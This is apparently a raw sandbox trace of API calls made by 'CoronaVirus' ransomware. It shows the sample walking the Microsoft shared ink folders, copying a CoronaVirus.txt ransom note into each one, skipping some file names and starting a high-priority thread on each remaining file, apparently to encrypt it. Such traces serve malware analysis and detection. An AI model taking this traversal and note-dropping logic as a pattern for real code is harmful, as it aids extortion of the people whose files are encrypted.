	[0083.748] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.748] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.751] _alloca_probe () returned 0x4036d0
	[0083.752] malloc (_Size=0x1000) returned 0x2f62718
	[0083.752] _swprintf (in: param_1=0x2f62718, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\CoronaVirus.txt") returned 72
	[0083.752] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.752] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.755] _alloca_probe () returned 0x4036d0
	[0083.755] malloc (_Size=0x1000) returned 0x2f63720
	[0083.755] _swprintf (in: param_1=0x2f63720, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\CoronaVirus.txt") returned 72
	[0083.755] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.755] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.758] _alloca_probe () returned 0x4036d0
	[0083.758] malloc (_Size=0x1000) returned 0x2f64728
	[0083.758] _swprintf (in: param_1=0x2f64728, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\CoronaVirus.txt") returned 72
	[0083.758] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.758] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.762] _alloca_probe () returned 0x4036d0
	[0083.763] malloc (_Size=0x1000) returned 0x2f65730
	[0083.763] _swprintf (in: param_1=0x2f65730, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0083.763] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.763] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", _SubStr="wasse") returned 0x0
	[0083.763] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", _SubStr="passw") returned 0x0
	[0083.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f65730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0083.763] SetThreadPriority (hThread=0x51c, nPriority=15) returned 1
	[0083.764] malloc (_Size=0x1000) returned 0x2f66738
	[0083.766] _swprintf (in: param_1=0x2f66738, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0083.766] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.766] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", _SubStr="wasse") returned 0x0
	[0083.766] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", _SubStr="passw") returned 0x0
	[0083.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f66738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520
	[0083.766] SetThreadPriority (hThread=0x520, nPriority=15) returned 1
	[0083.768] malloc (_Size=0x1000) returned 0x2f65730
	[0083.768] _swprintf (in: param_1=0x2f65730, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0083.768] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.768] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", _SubStr="wasse") returned 0x0
	[0083.768] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", _SubStr="passw") returned 0x0
	[0083.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f65730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524
	[0083.769] SetThreadPriority (hThread=0x524, nPriority=15) returned 1
	[0083.770] malloc (_Size=0x1000) returned 0x2f66738
	[0083.770] _swprintf (in: param_1=0x2f66738, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0083.770] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.770] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", _SubStr="wasse") returned 0x0
	[0083.770] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", _SubStr="passw") returned 0x0
	[0083.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f66738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528
	[0083.772] SetThreadPriority (hThread=0x528, nPriority=15) returned 1
	[0083.773] malloc (_Size=0x1000) returned 0x2f65730
	[0083.773] _swprintf (in: param_1=0x2f65730, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\CoronaVirus.txt") returned 72
	[0083.773] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.773] malloc (_Size=0x1000) returned 0x2f66738
	[0083.774] _swprintf (in: param_1=0x2f66738, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0083.774] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.774] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", _SubStr="wasse") returned 0x0
	[0083.774] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", _SubStr="passw") returned 0x0
	[0083.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f66738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c
	[0083.774] SetThreadPriority (hThread=0x52c, nPriority=15) returned 1
	[0083.776] malloc (_Size=0x1000) returned 0x2f66738
	[0083.776] _swprintf (in: param_1=0x2f66738, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0083.776] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.776] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", _SubStr="wasse") returned 0x0
	[0083.776] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", _SubStr="passw") returned 0x0
	[0083.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f66738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530
	[0083.776] SetThreadPriority (hThread=0x530, nPriority=15) returned 1
	[0083.778] malloc (_Size=0x1000) returned 0x2f66738
	[0083.778] _swprintf (in: param_1=0x2f66738, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0083.778] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.778] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", _SubStr="wasse") returned 0x0
	[0083.778] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", _SubStr="passw") returned 0x0
	[0083.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f66738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534
	[0083.779] SetThreadPriority (hThread=0x534, nPriority=15) returned 1
	[0083.781] malloc (_Size=0x1000) returned 0x2f66738
	[0083.781] _swprintf (in: param_1=0x2f66738, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0083.781] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.781] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", _SubStr="wasse") returned 0x0
	[0083.781] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", _SubStr="passw") returned 0x0
	[0083.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f66738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538
	[0083.781] SetThreadPriority (hThread=0x538, nPriority=15) returned 1
	[0083.783] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.787] _alloca_probe () returned 0x4036d0
	[0083.787] malloc (_Size=0x1000) returned 0x2f66738
	[0083.787] _swprintf (in: param_1=0x2f66738, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\CoronaVirus.txt") returned 72
	[0083.787] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.787] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.789] _alloca_probe () returned 0x4036d0
	[0083.789] malloc (_Size=0x1000) returned 0x2f67740
	[0083.789] _swprintf (in: param_1=0x2f67740, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\CoronaVirus.txt") returned 72
	[0083.789] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.789] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.803] _alloca_probe () returned 0x4036d0
	[0083.803] malloc (_Size=0x1000) returned 0x2f5c6e8
	[0083.803] _swprintf (in: param_1=0x2f5c6e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\CoronaVirus.txt") returned 72
	[0083.803] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.803] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.805] _alloca_probe () returned 0x4036d0
	[0083.805] malloc (_Size=0x1000) returned 0x2f68748
	[0083.806] _swprintf (in: param_1=0x2f68748, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\CoronaVirus.txt") returned 72
	[0083.806] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.806] malloc (_Size=0x1000) returned 0x2f69750
	[0083.806] _swprintf (in: param_1=0x2f69750, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0083.806] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", _SubStr="CoronaVirus") returned 0x0
	[0083.806] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", _SubStr="wasse") returned 0x0
	[0083.806] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", _SubStr="passw") returned 0x0
	[0083.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f69750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
	[0083.806] SetThreadPriority (hThread=0x518, nPriority=15) returned 1
	[0083.809] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.813] _alloca_probe () returned 0x4036d0
	[0083.813] malloc (_Size=0x1000) returned 0x2f69750
	[0083.813] _swprintf (in: param_1=0x2f69750, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\CoronaVirus.txt") returned 72
	[0083.813] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.813] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.816] _alloca_probe () returned 0x4036d0
	[0083.816] malloc (_Size=0x1000) returned 0x2f6a758
	[0083.817] _swprintf (in: param_1=0x2f6a758, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\CoronaVirus.txt") returned 72
	[0083.817] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.817] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.821] _alloca_probe () returned 0x4036d0
	[0083.821] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.824] _alloca_probe () returned 0x4036d0
	[0083.825] malloc (_Size=0x1000) returned 0x2f6b760
	[0083.825] _swprintf (in: param_1=0x2f6b760, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0083.825] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.825] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", _SubStr="wasse") returned 0x0
	[0083.825] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", _SubStr="passw") returned 0x0
	[0083.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6b760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0083.826] SetThreadPriority (hThread=0x508, nPriority=15) returned 1
	[0083.827] malloc (_Size=0x1000) returned 0x2f6c768
	[0083.828] _swprintf (in: param_1=0x2f6c768, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\CoronaVirus.txt") returned 87
	[0083.828] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.846] malloc (_Size=0x1000) returned 0x2f6b760
	[0083.846] _swprintf (in: param_1=0x2f6b760, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0083.846] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.846] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", _SubStr="wasse") returned 0x0
	[0083.846] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", _SubStr="passw") returned 0x0
	[0083.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6b760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540
	[0083.846] SetThreadPriority (hThread=0x540, nPriority=15) returned 1
	[0083.847] malloc (_Size=0x1000) returned 0x2f6d770
	[0083.847] _swprintf (in: param_1=0x2f6d770, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\CoronaVirus.txt") returned 80
	[0083.847] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.847] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.852] _alloca_probe () returned 0x4036d0
	[0083.852] malloc (_Size=0x1000) returned 0x2f6b760
	[0083.852] _swprintf (in: param_1=0x2f6b760, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\CoronaVirus.txt") returned 87
	[0083.852] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.852] malloc (_Size=0x1000) returned 0x2f6e778
	[0083.852] _swprintf (in: param_1=0x2f6e778, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0083.853] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.853] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", _SubStr="wasse") returned 0x0
	[0083.853] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", _SubStr="passw") returned 0x0
	[0083.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6e778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548
	[0083.853] SetThreadPriority (hThread=0x548, nPriority=15) returned 1
	[0083.856] malloc (_Size=0x1000) returned 0x2f6e778
	[0083.856] _swprintf (in: param_1=0x2f6e778, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0083.856] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.856] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", _SubStr="wasse") returned 0x0
	[0083.856] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", _SubStr="passw") returned 0x0
	[0083.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6e778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544
	[0083.856] SetThreadPriority (hThread=0x544, nPriority=15) returned 1
	[0083.858] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.860] _alloca_probe () returned 0x4036d0
	[0083.860] malloc (_Size=0x1000) returned 0x2f6e778
	[0083.861] _swprintf (in: param_1=0x2f6e778, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\CoronaVirus.txt") returned 87
	[0083.861] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.861] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.861] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0083.861] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.861] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", _SubStr="wasse") returned 0x0
	[0083.861] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", _SubStr="passw") returned 0x0
	[0083.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550
	[0083.861] SetThreadPriority (hThread=0x550, nPriority=15) returned 1
	[0083.862] malloc (_Size=0x1000) returned 0x2f70788
	[0083.864] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0083.864] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.864] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", _SubStr="wasse") returned 0x0
	[0083.864] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", _SubStr="passw") returned 0x0
	[0083.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f70788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554
	[0083.864] SetThreadPriority (hThread=0x554, nPriority=15) returned 1
	[0083.866] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.866] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0083.866] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.866] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", _SubStr="wasse") returned 0x0
	[0083.866] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", _SubStr="passw") returned 0x0
	[0083.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558
	[0083.866] SetThreadPriority (hThread=0x558, nPriority=15) returned 1
	[0083.869] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.869] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
